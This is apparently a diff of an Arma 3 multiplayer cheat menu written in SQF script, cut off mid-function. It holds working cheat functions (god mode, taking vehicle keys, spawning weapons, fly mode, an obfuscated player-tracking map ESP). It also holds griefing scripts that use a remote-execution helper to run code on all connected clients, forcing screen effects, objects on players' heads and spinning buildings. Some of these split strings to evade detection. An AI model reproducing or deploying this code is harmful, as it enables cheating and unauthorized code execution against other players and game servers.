- GEF_wep_array pushBack _cname;
- _usedNames pushBack _name;
- };
- };
- } else {
- {
- if(isNull _ctrl) exitWith {};
- _config = configFile >> "cfgWeapons" >> _x;
- _cname = configName _config;
- _scope = getNumber(_config >> "scope");
- _pic = getText(_config >> "picture");
- _name = getText(_config >> "displayName");
- if(_scope == 2) then {
- _index = _ctrl lbAdd _name;
- _ctrl lbSetPicture [_index,_pic];
- };
- } forEach GEF_wep_array;
- };
- _ctrl lbAdd "";
- };
- GEF_wep_dblclick = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _index = _this select 1;
- if(_index >= count(GEF_wep_array)) exitWith {};
- _wep = GEF_wep_array select _index;
- _mags = getArray(configFile >> "cfgWeapons" >> _wep >> "Magazines");
- _wholder = "groundWeaponHolder" createVehicle (position player);
- if(count(_mags) == 0) then {
- _wholder addItemCargoGlobal [_wep,1];
- } else {
- _wholder addWeaponCargoGlobal [_wep,1];
- _wholder addMagazineCargoGlobal [_mags select 0,9];
- };
- _wholder setposatl (getposatl player);
- };
- GEF_Heal = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- life_thirst = 100;
- life_hunger = 100;
- player setFatigue 0;
- antidote1 = 2581;
- sleep 0.1;
- player setDamage 0;
- sleep 0.1;
- [true] call life_fnc_sessionUpdate;
- [] call life_fnc_hudUpdate;
- cutText[format["Player healed!"], "PLAIN DOWN"];
- };
- GEF_KeyBinDos = {
- switch (_this) do {
- case 61: //F3
- {
- hint "You have now the key";
- Life_vehicles set[count life_vehicles, cursorTarget];
- };
- case 62: //F4
- {
- hint "repaired";
- _veh = vehicle player;
- _veh setDamage 0;
- _veh setFuel 1;
- [] spawn GEF_Heal;
- };
- case 66: //F8
- {
- createdialog "RscDisplayInventory";
- };
- };
- };
- if (isNil "GEF_BindHandler") then {
- GEF_BindHandler = (findDisplay 46) displayAddEventHandler["KeyDown", "(_this select 1) call GEF_KeyBinDos; false;"];
- };
- ["Scripts From JME"] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- GEF_TrollPeople = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- onMapSingleClick '
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["B_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["O_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["I_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["C_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- onMapSingleClick "";
- hint "lel";
- ';
- hint 'open map and click where to place the trollers!';
- };
- LY_fly = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_ = 5;
- LY_leftAndRight = 2;
- LY_upAndDown = 6;
- LY_distanceFromGround = 1;
- LY_hovering = false;
- LY_hoverPos = nil;
- LY_ZVeh = 0.072;
- LY_move_forward = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = 0.4;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
- (cos _dir * _speed), 0.4];
- };
- };
- LY_move_left = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _leftDirection = getdir(vehicle player);
- (vehicle player) setdir(_leftDirection) - LY_leftAndRight;
- };
- };
- LY_move_backward = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = -0.4;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
- (cos _dir * _speed), 0.4];
- };
- };
- LY_move_right = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _rightDirection = getdir(vehicle player);
- (vehicle player) setdir(_rightDirection) + LY_leftAndRight;
- player setVariable["lastPos", 1];
- player setVariable["lastPos", []];
- };
- };
- LY_move_up = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- LY_ZVeh = 4;
- _vehicle setVelocity[(_vel select 0), (_vel select 1), 4];
- };
- LY_move_up_up = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_ZVeh = 0.072;
- };
- LY_move_down = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- LY_ZVeh = -4;
- _vehicle setVelocity[(_vel select 0), (_vel select 1), -4];
- };
- };
- LY_move_down_up = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_ZVeh = 0.072;
- };
- toggle_hover = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_hovering = !LY_hovering;
- if (LY_hovering) then {
- titleText["Now Hovering!", "PLAIN DOWN"];
- titleFadeOut 4;
- LY_hoverPos = getPosATL(vehicle player);
- } else {
- titleText["No longer Hovering!", "PLAIN DOWN"];
- titleFadeOut 4;
- };
- };
- if (LY_BelieveIcanFly) then {
- hint "Fly Mode ON";
- titleText["Press 'spacebar' to toggle hover.", "PLAIN DOWN"];
- titleFadeOut 4;
- LY_BelieveIcanFly = true;
- LY_keyForward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 17) then {call LY_move_forward;}"];
- LY_keyLeft = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 30) then {call LY_move_left;}"];
- LY_keyBackward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 31) then {call LY_move_backward;}"];
- LY_keyRight = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 32) then {call LY_move_right;}"];
- LY_keyUp = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 16) then {call LY_move_up;}"];
- LY_keyDown = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 44) then {call LY_move_down;}"];
- LY_keyUpUp = (findDisplay 46) displayAddEventHandler["KeyUp", "if ((_this select 1) == 16) then {call LY_move_up_up;}"];
- LY_keyDownUp = (findDisplay 46) displayAddEventHandler["KeyUp", "if ((_this select 1) == 44) then {call LY_move_down_up;}"];
- LY_keyHover = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 57) then {call toggle_hover;}"];
- } else {
- hint "Fly Mode OFF";
- titleText["Going Down!", "PLAIN DOWN"];
- titleFadeOut 4;
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyForward];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyLeft];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyBackward];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyRight];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyUp];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyDown];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyHover];
- (finddisplay 46) displayRemoveEventHandler["KeyUp", LY_keyUpUp];
- (finddisplay 46) displayRemoveEventHandler["KeyUp", LY_keyDownUp];
- };
- while {
- LY_BelieveIcanFly
- }
- do {
- _velocity = velocity (vehicle player);
- if (LY_hovering) then {
- (vehicle player) setvelocity[0, 0, 0.2];
- } else {
- _velocity set [2,LY_ZVeh];
- (vehicle player) setVelocity _velocity;
- };
- };
- };
- GEF_Dog = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _randDog = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _dog = _this select (round(random(count(_this)-1)));
- _dog
- };
- _toClient = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- CreateDog = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _type = _this;
- hint "A Dog is for Life, not just for Christmas!";
- sleep 5;
- _this createUnit [position player, group player];
- };
- };
- [_toClient,true] call GEF_Rmote;
- _dogs = ["Fin_sand_F","Fin_blackwhite_F","Fin_ocherwhite_F","Fin_tricolour_F","Alsatian_Sand_F","Alsatian_Black_F","Alsatian_Sandblack_F","Goat_random_F","Sheep_random_F"];
- {
- _theirDog = _dogs call _randDog;
- _code = ('_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};"' + _theirDog + '" spawn CreateDog;');
- [_code,_x] call GEF_Rmote;
- } forEach playableUnits;
- };
- GEF_Almighty = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- neo_cleanup = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- deleteVehicle _x;
- } forEach allDead;
- {
- deleteVehicle _x;
- } forEach (position player nearObjects ["Land_CargoBox_V1_F",1000]);
- neo_count = 0;
- hintSilent format ["Entities: %1", neo_count];
- };
- neo_fnc_throw = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _height = getPosASL player select 2;
- _height = _height + 5;
- _pos = [player, 5, getDir player] call bis_fnc_relPos;
- _pos set [2, _height];
- _object = objNull;
- switch (neo_type) do {
- case 0 : {
- _class = "Land_CargoBox_V1_F";
- _object = createVehicle [_class, position player, [], 0, "NONE"];
- _object allowDamage neo_damage;
- _object setVectorUp [random 1, random 1, random 1];
- _object setVectorDir [random 1, random 1, random 1];
- _object setPosASL _pos;
- };
- };
- _object setVelocity [(eyeDirection player select 0) * neo_force, (eyeDirection player select 1) * neo_force, (eyeDirection player select 2) * neo_force];
- neo_count = neo_count + 1;
- hintSilent format ["Entities: %1", neo_count];
- };
- neo_fnc_push = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- if (_x != player) then {
- _dir = [player, _x] call bis_fnc_dirTo;
- _x setVelocity [sin _dir * neo_force, cos _dir * neo_force, neo_force / 10];
- };
- } forEach (position player nearObjects 100);
- };
- neo_fnc_pull = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- if (_x != player) then {
- _dir = [_x, player] call bis_fnc_dirTo;
- _pos = getposatl _x;
- _z = _pos select 2;
- if(_z < 10) then {
- _x setVelocity [sin _dir * random 10, cos _dir * random 5, neo_force / 2];
- } else {
- _x setVelocity [sin _dir * random 10, cos _dir * random 5, 0];
- };
- };
- } forEach (position player nearObjects ["Land_CargoBox_V1_F",200]);
- };
- neo_throwing = false;
- neo_pushing = false;
- neo_pulling = false;
- neo_type = 0;
- neo_damage = false;
- neo_count = 0;
- neo_force = 10;
- findDisplay 46 displayAddEventHandler ["KeyDown", "if (_this select 1 == 2) then { neo_throwing = true; }; if (_this select 1 == 4) then { neo_pushing = true; }; if (_this select 1 == 3) then { neo_pulling = true; };"];
- findDisplay 46 displayAddEventHandler ["KeyUp", "if (_this select 1 == 2) then { neo_throwing = false; }; if (_this select 1 == 4) then { neo_pushing = false; }; if (_this select 1 == 3) then { neo_pulling = false; };"];
- player addAction ["Force - LOW", {neo_force = _this select 3;}, 10, -1, false, true, "", "neo_force != 10"];
- player addAction ["Force - MEDIUM", {neo_force = _this select 3;}, 50, -1, false, true, "", "neo_force != 50"];
- player addAction ["Force - HIGH", {neo_force = _this select 3;}, 100, -1, false, true, "", "neo_force != 100"];
- player addAction ["Force - HUGE", {neo_force = _this select 3;}, 500, -1, false, true, "", "neo_force != 500"];
- player addAction ["Allow Damage", {neo_force = _this select 3;}, true, -1, false, true, "", "!neo_damage"];
- player addAction ["Do Not Allow Damage", {neo_force = _this select 3;}, false, -1, false, true, "", "neo_damage"];
- player addAction ["Clean Up", {[] spawn neo_cleanup;}, [], -1, false, true, "", "true"];
- hint "Welcome to the PhysX Hack\n\n\nPress 1 to spawn object with applied forces.\n\nPress 2 and 3 to apply forces to nearby objects.\n\n\nHave fun!";
- while{true} do {
- if (neo_throwing) then { [] call neo_fnc_throw; };
- if (neo_pushing) then { [] call neo_fnc_push; };
- if (neo_pulling) then { [] call neo_fnc_pull; };
- uiSleep 0.001;
- };
- };
- OQrv8OYvXgQjIh2aFY5q_Mapesp = {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs = [];
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches = [];
- if (isnil "COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers") then {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers = 0;
- };
- if (COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers == 0) then {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers = 1;
- systemChat "<Titans> Map ESP ON!";
- } else {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers = 0;
- systemChat "<Titans> Map ESP OFF!";
- };
- while {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers == 1
- }
- do {
- {
- if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then {
- if (count(crew vehicle _x) > 0) then {
- {
- if (!(_x in COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs) and(alive _x) and(getPlayerUID _x != "")) then {
- private["_pos", "_l44", "_l45"];
- _l45 = vehicle _x;
- _pos = visiblePosition _x;
- _l44 = createMarkerLocal[format["CRW%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 20, _pos select 1, 0]];
- _l8 = (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'));
- _l44 setMarkerTextLocal format['%1---%2---%3m', name _x, _l8, round(_x distance player)];
- _l44 setMarkerTypeLocal "mil_dot";
- if ((side _x == side player) and(side _x != resistance)) then {
- _l44 setMarkerColorLocal "ColorBlue";
- } else {
- _l44 setMarkerColorLocal "ColorRed";
- };
- _l44 setMarkerSizeLocal[1, 1];
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs set[count COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs, _x];
- [_x, _l44, _l45] spawn {
- private["_l46", "_l47", "_l48"];
- _l46 = _this select 0;
- _l47 = _this select 1;
- while {
- (COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers == 1) and(alive _l46) and(vehicle _l46 != _l46) and(getPlayerUID _l46 != "")
- }
- do {
- _l48 = ((crew vehicle _l46) find _l46);
- _l47 setMarkerPosLocal([(visiblePosition _l46 select 0) + 20, (visiblePosition _l46 select 1) - (25 + _l48 * 20), 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _l47;
- if (_l46 in COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs) then {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs set[(COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs find _l46), -1];
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs = COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Noobs - [-1];
- };
- true;
- };
- };
- }
- forEach crew vehicle _x;
- };
- } else {
- if (!(_x in COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches) and(vehicle _x == _x) and(getPlayerUID _x != "")) then {
- private["_pos", "_l44"];
- _pos = visiblePosition _x;
- _l44 = createMarkerLocal[format["PLR%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 20, _pos select 1, 0]];
- _l44 setMarkerTypeLocal "mil_dot";
- _l44 setMarkerSizeLocal[1, 1];
- if ((side _x == side player) and(side _x != resistance)) then {
- _l44 setMarkerColorLocal "ColorWhite";
- } else {
- _l44 setMarkerColorLocal "ColorRedAlpha";
- };
- _l44 setMarkerTextLocal format["%1---%2", name _x, round(_x distance player)];
- if (_x == player) then {
- _l44 setMarkerColorLocal "ColorGreen";
- };
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches set[count COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches, _x];
- [_x, _l44] spawn {
- private["_l46", "_l47"];
- _l46 = _this select 0;
- _l47 = _this select 1;
- while {
- (COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Map_Markers == 1) and(alive _l46) and(vehicle _l46 == _l46) and(getPlayerUID _l46 != "")
- }
- do {
- _l47 setMarkerPosLocal([visiblePosition _l46 select 0, visiblePosition _l46 select 1, 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _l47;
- if (_l46 in COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches) then {
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches set[(COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches find _l46), -1];
- COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches = COHFEWIFWEHUG37243599GJHIEGWEH_COHFEWIFWEHUG37243599GJHIEGWEH_Bitches - [-1];
- };
- true;
- };
- };
- };
- }
- forEach playableUnits;
- sleep 0.3;
- }; {
- _l44 = str _x;
- deleteMarkerLocal _l44;
- }
- forEach playableUnits;
- };
- GEF_Fuckfest_v1 = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- fuckfest = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- playMusic "Track11_StageB_stealth";
- cutText ["","BLACK OUT",1];
- sleep 1;
- cutText ["","BLACK IN",1];
- sleep 1;
- cutText ["Created By JME","PLAIN",1];
- sleep 5;
- cutText ["Welcome to the Fuckfest","BLACK OUT",1];
- sleep 1;
- mood = ppEffectCreate ["colorCorrections", 1501];
- mood ppEffectEnable true;
- mood ppEffectAdjust [ 1, 1, 0, [0, 0, 0, -0.31],[1.9, 1.9, 1.73, 0.7],[0.2, 1.1, -1.5, 1.64]];
- mood ppEffectCommit 0;
- mood = ppEffectCreate ["colorCorrections", 1501];
- mood ppEffectEnable true;
- mood ppEffectAdjust [1, 1, 0, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
- mood ppEffectCommit 0;
- mood = ppEffectCreate ["colorCorrections", 1501];
- mood ppEffectEnable true;
- mood ppEffectAdjust [ 1, 0.21, 0, [0.1, 0, 0, 0],[3.59, 3.49, 3.78, 0.83],[-0.31, 0.08, 3.79, 5]];
- mood ppEffectCommit 0;
- sleep 4;
- cutText["","BLACK IN", 1];
- sleep 4;
- playSound "Earthquake_01";
- enableCamShake true;
- sleep 2;
- addCamShake [5, 11, 10];
- sleep 10;
- playSound "Earthquake_04";
- sleep 2;
- addCamShake [10, 12, 20];
- sleep 8;
- enableCamShake false;
- ppColor = ppEffectCreate ["ColorCorrections", 1999];
- ppColor ppEffectEnable true;
- ppColor ppEffectAdjust [0.5, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
- ppColor ppEffectCommit 0;
- ppBlur = ppEffectCreate ["dynamicBlur", 505];
- ppBlur ppEffectEnable true;
- ppBlur ppEffectAdjust [.5];
- ppBlur ppEffectCommit 0;
- ppGrain = ppEffectCreate ["filmGrain", 2005];
- ppGrain ppEffectEnable true;
- ppGrain ppEffectAdjust [0.02, 1, 1, 0, 1];
- ppGrain ppEffectCommit 0;
- setaperture 25;
- sleep 0.01;
- setaperture 200;
- sleep 5;
- ppEffectDestroy mood;
- ppEffectDestroy ppColor;
- ppEffectDestroy ppBlur;
- ppEffectDestroy ppGrain;
- "dynamicBlur" ppEffectAdjust [0];
- "dynamicBlur" ppEffectCommit 16;
- "colorCorrections" ppEffectAdjust [1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1], [1, 1, 1, 0.0]];
- "colorCorrections" ppEffectCommit 0;
- setaperture 0;
- playMusic "";
- sleep 2;
- cutText ["Aborted","PLAIN",1];
- sleep 10;
- cutText ["See you in another life brother","PLAIN",1];
- };
- [] spawn fuckfest;
- },true] call GEF_Rmote;
- };
- GEF_ConeHat = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _toClients = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- onHead = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _obj = _this;
- _obj attachTo [player, [-0.05,-0.05,0.4],"Head"];
- _timer = 30;
- for "_i" from 0 to _timer do
- {
- hintSilent (str (_timer - _i)+(" seconds left with conehead."));
- sleep 1;
- };
- sleep 1;
- deletevehicle _obj;
- hint "Bye Cone!";
- };
- };
- _toServer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile (" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- {
- _conehead = ""RoadCone_F"" create" + "Vehicle (position _x);
- [_conehead,""onHead"",_x,false] call BIS" + "_fnc_MP;
- } forEach playabl" + "eUnits;
- ");
- };
- [_toClients,true] call GEF_Rmote;
- sleep 1;
- [_toServer,false] call GEF_Rmote;
- };
- GEF_BagHat = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _toClients = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- onHead_Sack = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _obj = _this;
- _obj attachTo [player, [-0.05,-0.05,0.4],"Head"];
- _timer = 30;
- for "_i" from 0 to _timer do
- {
- hintSilent (str (_timer - _i)+(" seconds left with a sackhead."));
- sleep 1;
- };
- sleep 1;
- deletevehicle _obj;
- hint "Bye Sack!";
- };
- };
- _toServer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile (" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- {
- _conehead = ""Land_Sack_F"" create" + "Vehicle (position _x);
- [_conehead,""onHead_Sack"",_x,false] call BIS" + "_fnc_MP;
- } forEach playabl" + "eUnits;
- ");
- };
- [_toClients,true] call GEF_Rmote;
- sleep 1;
- [_toServer,false] call GEF_Rmote;
- };
- GEF_JetBus = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- hint "Quad-Train V1";
- _dirme = getDir player;
- _pos = player modelToWorld [0,20,0.2];
- _jetslut = "B_Plane_CAGEF_01_F" createVehicle _pos;
- _jetslut allowDamage false;
- _jetslut setDir _dirme;
- _jmesays = "O_Quadbike_01_F" createVehicle _pos;
- _jmesays attachTo [_jetslut, [2.7,4,0]];
- _jmesays allowDamage false;
- _jmesays = "O_Quadbike_01_F" createVehicle _pos;
- _jmesays attachTo [_jetslut, [-2.7,4,0]];
- _jmesays allowDamage false;
- _jmesays = "O_Quadbike_01_F" createVehicle _pos;
- _jmesays attachTo [_jetslut, [2.7,8,0]];
- _jmesays allowDamage false;
- _jmesays = "O_Quadbike_01_F" createVehicle _pos;
- _jmesays attachTo [_jetslut, [-2.7,8,0]];
- _jmesays allowDamage false;
- _jmesays = "O_Quadbike_01_F" createVehicle _pos;
- _jmesays attachTo [_jetslut, [2.7,12,0]];
- _jmesays allowDamage false;
- _jmesays = "O_Quadbike_01_F" createVehicle _pos;
- _jmesays attachTo [_jetslut, [-2.7,12,0]];
- _jmesays allowDamage false;
- };
- GEF_BoxQuad = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- hint "Moving Weapon Box V1";
- _pos = player modelToWorld [0,8,0.2];
- _battlebus = "O_Quadbike_01_F" createVehicle _pos;
- _battlebus allowDamage false;
- _sidepanelR = "Box_East_WpsSpecial_F" createVehicle _pos;
- _sidepanelR attachTo [_battlebus, [0,1.5,-0.8]];
- _sidepanelR = "Box_East_WpsSpecial_F" createVehicle _pos;
- _sidepanelR attachTo [_battlebus, [0,-1.5,-0.8]];
- _sidepanelR = "Box_East_WpGEF_F" createVehicle _pos;
- _sidepanelR attachTo [_battlebus, [1,0,-0.8]];
- _sidepanelR setdir 90;
- _sidepanelR = "Box_East_WpGEF_F" createVehicle _pos;
- _sidepanelR attachTo [_battlebus, [-1,0,-0.8]];
- _sidepanelR setdir 90;
- _sidepanelR = "Land_Sunshade_F" createVehicle _pos;
- _sidepanelR attachTo [_battlebus, [0,-1,2]];
- };
- };
- ["Scripts From ME"] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- GEF_DefenseSquad = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _unit = "Rabbit_F";
- switch(side player) do {
- case west: {_unit = "B_Soldier_02_f";};
- case east: {_unit = "O_G_Soldier_F";};
- case independent: {_unit = "I_G_Soldier_F";};
- case civilian: {_unit = "B_Soldier_02_f";};
- };
- _one = (group player) createUnit [_unit,position player,[],0,"NONE"];
- _two = (group player) createUnit [_unit,position player,[],0,"NONE"];
- _three = (group player) createUnit [_unit,position player,[],0,"NONE"];
- _four = (group player) createUnit [_unit,position player,[],0,"NONE"];
- {
- _x setSkill ["aimingAccuracy",1];
- _x setSkill ["aimingShake",1];
- _x setSkill ["aimingSpeed",1];
- _x setSkill ["endurance",1];
- _x setSkill ["spotDistance",1];
- _x setSkill ["spotTime",1];
- _x setSkill ["courage",1];
- _x setSkill ["reloadSpeed",1];
- _x setSkill ["commanding",1];
- _x setSkill ["general",1];
- _x doFollow player;
- _x allowDamage false;
- _x addEventHandler ["HandleDamage",{false}];
- } forEach [_one,_two,_three,_four];
- (group player) setBehaviour "AWARE";
- (group player) setCombatMode "YELLOW";
- (group player) enableAttack true;
- player addEventHandler ["FiredNear",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _firer = _this select 1;
- if((group _firer) != (group player)) then {
- _units = (units (group player)) - [player];
- {
- _x doFire _firer;
- _x setVehicleAmmo 1;
- } forEach _units;
- };
- }];
- };
- GEF_SpinAllBuildings = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _toServer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- _x spawn {while{true} do {_this setdir ((getdir _this)+15);uiSleep (15/360);};};
- } forEach (allmissionobjects "building");
- };
- [_toServer,true] call GEF_Rmote; //spin on all clients
- };
- GEF_TestRe = {
- [{hint 'RE working!';},player] call GEF_Rmote;
- };
- GEF_ThunderDome = {
- _to_Server = {
- THUNDER_DOME = {
- if(!isNil "DOME") exitWith {};
- td_center = [23740,18443,0];
- cargo_one = [23727,18429,0];
- cargo_two = [23726,18456,0];
- cargo_three = [23751,18429,0];
- cargo_four = [23751,18456,0];
- cargo_three_dir = 134;
- cargo_four_dir = 37;
- cargo_one_dir = 224;
- cargo_two_dir = 322;
- patrol_one = [23721,18397,0];
- patrol_two = [23721,18443,0];
